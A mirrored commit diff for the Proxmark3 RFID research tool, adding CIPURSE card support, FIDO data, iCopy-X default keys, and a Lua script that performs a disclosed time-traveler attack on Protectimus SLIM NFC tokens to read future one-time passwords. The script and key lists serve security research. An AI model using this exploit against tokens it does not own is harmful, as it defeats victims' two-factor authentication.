mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-19 21:03:48 -07:00
Merge branch 'master' of github.com:RfidResearchGroup/proxmark3
This commit is contained in:
commit
449dc7bd48
22 changed files with 2530 additions and 24 deletions
|
@ -3,6 +3,10 @@ All notable changes to this project will be documented in this file.
|
|||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- FIXED 'hf desfire' changekey, GetUID, 3DES sesson key tweak. (@mwalker33)
|
||||
- Fixed `hf fido` commands now works correctly (@merlokk)
|
||||
- Moved / renamed `client/resource/fido2_defparams.json` -> `client/resource/hf_fido2_defparams.json` (@merlokk)
|
||||
- Added `hf cipurse` commands to work with cipurse transport cards (@merlokk)
|
||||
- Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker)
|
||||
- Changed `hf fido` - refactored load/save json objects (@iceman1001)
|
||||
- Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001)
|
||||
|
|
|
@ -211,6 +211,8 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/fido/fidocore.c
|
||||
${PM3_ROOT}/client/src/iso7816/apduinfo.c
|
||||
${PM3_ROOT}/client/src/iso7816/iso7816core.c
|
||||
${PM3_ROOT}/client/src/cipurse/cipursecrypto.c
|
||||
${PM3_ROOT}/client/src/cipurse/cipursecore.c
|
||||
${PM3_ROOT}/client/src/loclass/cipher.c
|
||||
${PM3_ROOT}/client/src/loclass/cipherutils.c
|
||||
${PM3_ROOT}/client/src/loclass/elite_crack.c
|
||||
|
@ -242,6 +244,7 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/cmdhfepa.c
|
||||
${PM3_ROOT}/client/src/cmdhffelica.c
|
||||
${PM3_ROOT}/client/src/cmdhffido.c
|
||||
${PM3_ROOT}/client/src/cmdhfcipurse.c
|
||||
${PM3_ROOT}/client/src/cmdhficlass.c
|
||||
${PM3_ROOT}/client/src/cmdhfjooki.c
|
||||
${PM3_ROOT}/client/src/cmdhflegic.c
|
||||
|
|
|
@ -473,6 +473,7 @@ SRCS = aiddesfire.c \
|
|||
cmdhfemrtd.c \
|
||||
cmdhffelica.c \
|
||||
cmdhffido.c \
|
||||
cmdhfcipurse.c \
|
||||
cmdhficlass.c \
|
||||
cmdhflegic.c \
|
||||
cmdhfjooki.c \
|
||||
|
@ -556,6 +557,8 @@ SRCS = aiddesfire.c \
|
|||
fido/cose.c \
|
||||
fido/cbortools.c \
|
||||
fido/fidocore.c \
|
||||
cipurse/cipursecore.c \
|
||||
cipurse/cipursecrypto.c \
|
||||
fileutils.c \
|
||||
flash.c \
|
||||
generator.c \
|
||||
|
|
|
@ -12,3 +12,4 @@ F0E1D2C3B4A59687 # Kd from PicoPass 2k documentation
|
|||
31ad7ebd2f282168 # From HID multiclassSE reader
|
||||
6EFD46EFCBB3C875 # From pastebin: https://pastebin.com/uHqpjiuU
|
||||
E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU
|
||||
2020666666668888 # iCopy-X
|
||||
|
|
|
@ -36,6 +36,8 @@ E9920427
|
|||
575F4F4B
|
||||
#
|
||||
50520901
|
||||
# iCopy-X
|
||||
20206666
|
||||
# Default pwd, simple:
|
||||
00000000
|
||||
11111111
|
||||
|
|
427
client/luascripts/hf_14a_protectimus_nfc.lua
Normal file
427
client/luascripts/hf_14a_protectimus_nfc.lua
Normal file
|
@ -0,0 +1,427 @@
|
|||
local cmds = require('commands')
|
||||
local getopt = require('getopt')
|
||||
local lib14a = require('read14a')
|
||||
local utils = require('utils')
|
||||
local ansicolors = require('ansicolors')
|
||||
|
||||
copyright = '(c) 2021 SySS GmbH'
|
||||
author = 'Matthias Deeg'
|
||||
version = 'v0.8'
|
||||
desc = [[
|
||||
This script can perform different operations on a Protectimus SLIM NFC
|
||||
hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
|
||||
]]
|
||||
example = [[
|
||||
-- default
|
||||
script run hf_14a_protectimus_nfc
|
||||
]]
|
||||
usage = [[
|
||||
script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
|
||||
]]
|
||||
arguments = [[
|
||||
-h This help
|
||||
-i Read token info (e.g. firmware version, OTP interval)
|
||||
-r Read the current one-time password (OTP)
|
||||
-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
|
||||
e.g. 2029-01-01T13:37:00+01:00
|
||||
]]
|
||||
|
||||
-- Some globals
|
||||
local DEBUG = false -- the debug flag
|
||||
|
||||
-- Defined operations
|
||||
local READ_OTP = 1 -- read the one-time password
|
||||
local READ_INFO = 2 -- read the NFC token info
|
||||
local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack
|
||||
|
||||
-- A debug printout function
|
||||
local function dbg(args)
|
||||
if not DEBUG then return end
|
||||
if type(args) == 'table' then
|
||||
local i = 1
|
||||
while args[i] do
|
||||
dbg(args[i])
|
||||
i = i + 1
|
||||
end
|
||||
else
|
||||
print('###', args)
|
||||
end
|
||||
end
|
||||
|
||||
-- This is only meant to be used when errors occur
|
||||
local function oops(err)
|
||||
print('ERROR:', err)
|
||||
core.clearCommandBuffer()
|
||||
return nil, err
|
||||
end
|
||||
|
||||
-- Usage help
|
||||
local function help()
|
||||
print(copyright)
|
||||
print(author)
|
||||
print(version)
|
||||
print(desc)
|
||||
print(ansicolors.cyan .. 'Usage' .. ansicolors.reset)
|
||||
print(usage)
|
||||
print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset)
|
||||
print(arguments)
|
||||
print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset)
|
||||
print(example)
|
||||
end
|
||||
|
||||
-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
|
||||
function getUnixTime(datetime)
|
||||
|
||||
-- get time delta regarding Coordinated Universal Time (UTC)
|
||||
local now_local = os.time()
|
||||
local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local)))
|
||||
local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600)
|
||||
|
||||
-- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
|
||||
local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
|
||||
local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern)
|
||||
|
||||
if new_year == nil or new_month == nil or new_day == nil or
|
||||
new_hour == nil or new_minute == nil or new_seconds == nil or
|
||||
new_hour_offset == nil or new_minute_offset == nil then
|
||||
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" ..
|
||||
" Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
|
||||
" e.g. 2029-01-01T13:37:00+01:00")
|
||||
return nil
|
||||
end
|
||||
|
||||
-- get the requested datetime as Unix time (UTC)
|
||||
local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset,
|
||||
min = new_minute + minute_offset - new_minute_offset, sec = new_seconds})
|
||||
|
||||
return epoch
|
||||
end
|
||||
|
||||
-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
|
||||
function sendRaw(rawdata, options)
|
||||
|
||||
-- send raw
|
||||
local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT
|
||||
+ lib14a.ISO14A_COMMAND.ISO14A_RAW
|
||||
+ lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC
|
||||
|
||||
local command = Command:newMIX{
|
||||
cmd = cmds.CMD_HF_ISO14443A_READER,
|
||||
|
||||
-- arg1 is the defined flags for sending "raw" ISO 14443A package
|
||||
arg1 = flags,
|
||||
|
||||
-- arg2 contains the length, which is half the length of the ASCII
|
||||
-- string data
|
||||
arg2 = string.len(rawdata) / 2,
|
||||
data = rawdata
|
||||
}
|
||||
|
||||
return command:sendMIX(options.ignore_response)
|
||||
end
|
||||
|
||||
-- Read the current one-time password (OTP)
|
||||
function readOTP(show_output)
|
||||
-- read OTP command
|
||||
local cmd = "028603420042"
|
||||
local otp_value = ''
|
||||
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)")
|
||||
end
|
||||
|
||||
-- send the raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
|
||||
-- check the response
|
||||
if len == 0 then
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
|
||||
return nil
|
||||
end
|
||||
|
||||
if data:sub(0, 8) == "02AA0842" then
|
||||
-- extract the binary-coded decimal (BCD) OTP value from the response
|
||||
for i = 10, #data - 2, 2 do
|
||||
local c = data:sub(i, i)
|
||||
otp_value = otp_value .. c
|
||||
end
|
||||
|
||||
-- show the output if requested
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset)
|
||||
end
|
||||
else
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
|
||||
otp_value = nil
|
||||
end
|
||||
|
||||
return otp_value
|
||||
end
|
||||
|
||||
-- Read token info
|
||||
function readInfo(show_output)
|
||||
-- read info command
|
||||
local cmd = "0286021010"
|
||||
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info")
|
||||
end
|
||||
|
||||
-- send the raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
|
||||
-- check the response
|
||||
if len == 0 then
|
||||
print("[-] Error: Could not read the token info")
|
||||
return nil
|
||||
end
|
||||
|
||||
if data:sub(0, 8) == "02AA0B10" then
|
||||
-- extract the token info from the response
|
||||
local hardware_schema = tonumber(data:sub(11, 12))
|
||||
local firmware_version_major = tonumber(data:sub(13, 14))
|
||||
local firmware_version_minor = tonumber(data:sub(13, 14))
|
||||
local hardware_rtc = tonumber(data:sub(19, 20))
|
||||
local otp_interval = tonumber(data:sub(23, 24))
|
||||
|
||||
local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" ..
|
||||
" Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" ..
|
||||
" Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" ..
|
||||
" Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" ..
|
||||
" OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset
|
||||
|
||||
-- check hardware real-time clock (RTC)
|
||||
if hardware_rtc == 1 then
|
||||
hardware_rtc = true
|
||||
else
|
||||
hardware_rtc = false
|
||||
end
|
||||
|
||||
-- check one-time password interval
|
||||
if otp_interval == 0 then
|
||||
otp_interval = '30'
|
||||
elseif otp_interval == 10 then
|
||||
otp_interval = '60'
|
||||
else
|
||||
otp_interval = 'unknown'
|
||||
end
|
||||
|
||||
if show_output then
|
||||
-- show the token info
|
||||
print(string.format(info, hardware_schema, firmware_version_major,
|
||||
firmware_version_minor, hardware_rtc,
|
||||
otp_interval))
|
||||
end
|
||||
|
||||
return otp_interval
|
||||
else
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info")
|
||||
otp_value = nil
|
||||
end
|
||||
|
||||
return info
|
||||
end
|
||||
|
||||
-- Bruteforce commands
|
||||
function bruteforceCommands()
|
||||
-- read OTP command
|
||||
local cmd = ''
|
||||
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands")
|
||||
end
|
||||
|
||||
for n = 0, 255 do
|
||||
cmd = string.format("028602%d%d", n)
|
||||
|
||||
print(string.format("[+] Send command %s", cmd))
|
||||
|
||||
-- send the raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
|
||||
-- check the response
|
||||
if len == 0 then
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response")
|
||||
else
|
||||
print(data)
|
||||
end
|
||||
|
||||
io.read(1)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
-- Set an arbitrary Unix time (epoch)
|
||||
function setTime(time, otp_interval)
|
||||
-- calculate the two required time variables
|
||||
local time_var1 = math.floor(time / otp_interval)
|
||||
local time_var2 = math.floor(time % otp_interval)
|
||||
|
||||
-- build the raw command data
|
||||
local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2)
|
||||
|
||||
-- calculate XOR checksum on data
|
||||
local checksum = 0
|
||||
for i = 1, #data, 2 do
|
||||
local c = data:sub(i, i + 1)
|
||||
checksum = bit32.bxor(checksum , tonumber(c, 16))
|
||||
end
|
||||
|
||||
-- build the complete raw command
|
||||
local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum)
|
||||
|
||||
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time))
|
||||
|
||||
-- send raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
end
|
||||
|
||||
-- Set the current time
|
||||
function setCurrentTime(otp_interval)
|
||||
-- get the current Unix time (epoch)
|
||||
local current_time = os.time(os.date("*t"))
|
||||
setTime(current_time, otp_interval)
|
||||
end
|
||||
|
||||
-- Perform a time travel attack for generating a future OTP
|
||||
function timeTravelAttack(datetime_string, otp_interval)
|
||||
if nil == datetime_string then
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given")
|
||||
return nil
|
||||
end
|
||||
|
||||
-- get the future time as Unix time
|
||||
local future_time = getUnixTime(datetime_string)
|
||||
|
||||
if nil == future_time then
|
||||
return
|
||||
end
|
||||
|
||||
-- set the future time
|
||||
setTime(future_time, otp_interval)
|
||||
|
||||
print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press <ENTER>")
|
||||
-- while loop do
|
||||
io.read(1)
|
||||
|
||||
-- read the OTP
|
||||
local otp = readOTP(false)
|
||||
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " ..
|
||||
ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " ..
|
||||
ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp))
|
||||
|
||||
-- reset the current time
|
||||
setCurrentTime(otp_interval)
|
||||
end
|
||||
|
||||
-- Show a fancy banner
|
||||
function banner()
|
||||
print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
|
||||
"Perform different operations on a Protectimus SLIM NFC hardware token", version))
|
||||
end
|
||||
|
||||
-- The main entry point
|
||||
function main(args)
|
||||
local ignore_response = false
|
||||
local no_rats = false
|
||||
local operation = READ_OTP
|
||||
local target_time = nil
|
||||
|
||||
-- show a fancy banner
|
||||
banner()
|
||||
|
||||
-- read the parameters
|
||||
for o, a in getopt.getopt(args, 'hirt:b') do
|
||||
if o == 'h' then return help() end
|
||||
if o == 'i' then operation = READ_INFO end
|
||||
if o == 'r' then operation = READ_OTP end
|
||||
if o == 't' then
|
||||
operation = TIME_TRAVELER_ATTACK
|
||||
target_time = a
|
||||
end
|
||||
if o == 'b' then bruteforceCommands() end
|
||||
end
|
||||
|
||||
-- connect to the TOTP hardware token
|
||||
info, err = lib14a.read(true, no_rats)
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- show tag info
|
||||
print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid))
|
||||
|
||||
-- perform the requested operation
|
||||
if operation == READ_OTP then
|
||||
readOTP(true)
|
||||
elseif operation == READ_INFO then
|
||||
readInfo(true)
|
||||
elseif operation == TIME_TRAVELER_ATTACK then
|
||||
-- read token info and get OTP interval
|
||||
local otp_interval = readInfo(false)
|
||||
if nil == otp_interval then
|
||||
return
|
||||
end
|
||||
-- perform time traveler attack
|
||||
timeTravelAttack(target_time, otp_interval)
|
||||
end
|
||||
|
||||
-- disconnect
|
||||
lib14a.disconnect()
|
||||
end
|
||||
|
||||
-------------------------
|
||||
-- Testing
|
||||
-------------------------
|
||||
function selftest()
|
||||
DEBUG = true
|
||||
dbg('Performing test')
|
||||
main()
|
||||
dbg('Tests done')
|
||||
end
|
||||
-- Flip the switch here to perform a sanity check.
|
||||
-- It read a nonce in two different ways, as specified in the usage-section
|
||||
if '--test' == args then
|
||||
selftest()
|
||||
else
|
||||
-- Call the main
|
||||
main(args)
|
||||
end
|
|
@ -839,6 +839,14 @@
|
|||
"Description": "PIV Authentication Key",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "A0000006472F0001",
|
||||
"Vendor": "FIDO authenticator",
|
||||
"Country": "global",
|
||||
"Name": "U2F/FIDO2 authenticator",
|
||||
"Description": "U2F and/or FIDO2 authenticator",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "A000000116DB00",
|
||||
"Vendor": "GSA - TFCS",
|
||||
|
|
383
client/src/cipurse/cipursecore.c
Normal file
383
client/src/cipurse/cipursecore.c
Normal file
|
@ -0,0 +1,383 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE transport cards data and commands
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cipursecore.h"
|
||||
|
||||
#include "commonutil.h" // ARRAYLEN
|
||||
#include "comms.h" // DropField
|
||||
#include "util_posix.h" // msleep
|
||||
#include <string.h> // memcpy memset
|
||||
|
||||
#include "cmdhf14a.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "ui.h"
|
||||
#include "util.h"
|
||||
|
||||
// context for secure channel
|
||||
CipurseContext cipurseContext;
|
||||
|
||||
static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
uint8_t securedata[APDU_RES_LEN] = {0};
|
||||
sAPDU secapdu;
|
||||
|
||||
*ResultLen = 0;
|
||||
if (sw) *sw = 0;
|
||||
uint16_t isw = 0;
|
||||
int res = 0;
|
||||
|
||||
if (ActivateField) {
|
||||
DropField();
|
||||
msleep(50);
|
||||
}
|
||||
|
||||
// long messages is not allowed
|
||||
if (apdu.Lc > 228)
|
||||
return 20;
|
||||
|
||||
// COMPUTE APDU
|
||||
int datalen = 0;
|
||||
uint16_t xle = IncludeLe ? 0x100 : 0x00;
|
||||
if (xle == 0x100 && Le != 0)
|
||||
xle = Le;
|
||||
|
||||
CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le);
|
||||
|
||||
if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) {
|
||||
PrintAndLogEx(ERR, "APDU encoding error.");
|
||||
return 201;
|
||||
}
|
||||
|
||||
if (GetAPDULogging())
|
||||
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
|
||||
|
||||
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
if (res) {
|
||||
return res;
|
||||
}
|
||||
|
||||
if (GetAPDULogging())
|
||||
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
|
||||
|
||||
if (*ResultLen < 2) {
|
||||
return 200;
|
||||
}
|
||||
|
||||
size_t rlen = 0;
|
||||
if (*ResultLen == 2) {
|
||||
if (cipurseContext.RequestSecurity == CPSMACed || cipurseContext.RequestSecurity == CPSEncrypted)
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
|
||||
isw = Result[0] * 0x0100 + Result[1];
|
||||
} else {
|
||||
CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw);
|
||||
memcpy(Result, securedata, rlen);
|
||||
}
|
||||
|
||||
if (ResultLen != NULL)
|
||||
*ResultLen = rlen;
|
||||
|
||||
if (sw != NULL)
|
||||
*sw = isw;
|
||||
|
||||
if (isw != 0x9000) {
|
||||
if (GetAPDULogging()) {
|
||||
if (*sw >> 8 == 0x61) {
|
||||
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
|
||||
} else {
|
||||
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
|
||||
return 5;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, apdu, true, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31};
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
|
||||
return EMVSelect(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL);
|
||||
}
|
||||
|
||||
int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, 0x16, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, attrlen, attr}, false, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff};
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, 02, fileIdBin}, false, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff};
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
|
||||
CipurseContext cpc = {0};
|
||||
CipurseCSetKey(&cpc, keyIndex, key);
|
||||
|
||||
// get RP, rP
|
||||
int res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || len != 0x16) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
|
||||
return false;
|
||||
}
|
||||
CipurseCSetRandomFromPICC(&cpc, buf);
|
||||
|
||||
// make auth data
|
||||
uint8_t authparams[16 + 16 + 6] = {0};
|
||||
CipurseCAuthenticateHost(&cpc, authparams);
|
||||
|
||||
// authenticate
|
||||
res = CIPURSEMutalAuthenticate(keyIndex, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000 || len != 16) {
|
||||
if (sw == 0x6988) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key.");
|
||||
} else if (sw == 0x6A88) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number.");
|
||||
} else {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
}
|
||||
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (CipurseCCheckCT(&cpc, buf)) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Authentication " _GREEN_("OK"));
|
||||
|
||||
CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed);
|
||||
memcpy(&cipurseContext, &cpc, sizeof(CipurseContext));
|
||||
return true;
|
||||
} else {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT");
|
||||
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) {
|
||||
CipurseCChannelSetSecurityLevels(&cipurseContext, req, resp);
|
||||
}
|
||||
|
||||
static void CIPURSEPrintPersoMode(uint8_t data) {
|
||||
if (data & 0x01)
|
||||
PrintAndLogEx(INFO, "Perso: filesystem");
|
||||
if (data & 0x02)
|
||||
PrintAndLogEx(INFO, "Perso: EMV");
|
||||
if (data & 0x04)
|
||||
PrintAndLogEx(INFO, "Perso: transaction supported");
|
||||
|
||||
}
|
||||
|
||||
static void CIPURSEPrintProfileInfo(uint8_t data) {
|
||||
if (data & 0x01)
|
||||
PrintAndLogEx(INFO, "Profile: L");
|
||||
if (data & 0x02)
|
||||
PrintAndLogEx(INFO, "Profile: S");
|
||||
if (data & 0x04)
|
||||
PrintAndLogEx(INFO, "Profile: T");
|
||||
}
|
||||
|
||||
static void CIPURSEPrintManufacturerInfo(uint8_t data) {
|
||||
if (data == 0)
|
||||
PrintAndLogEx(INFO, "Manufacturer: n/a");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Manufacturer: %s", getTagInfo(data)); // getTagInfo from cmfhf14a.h
|
||||
}
|
||||
|
||||
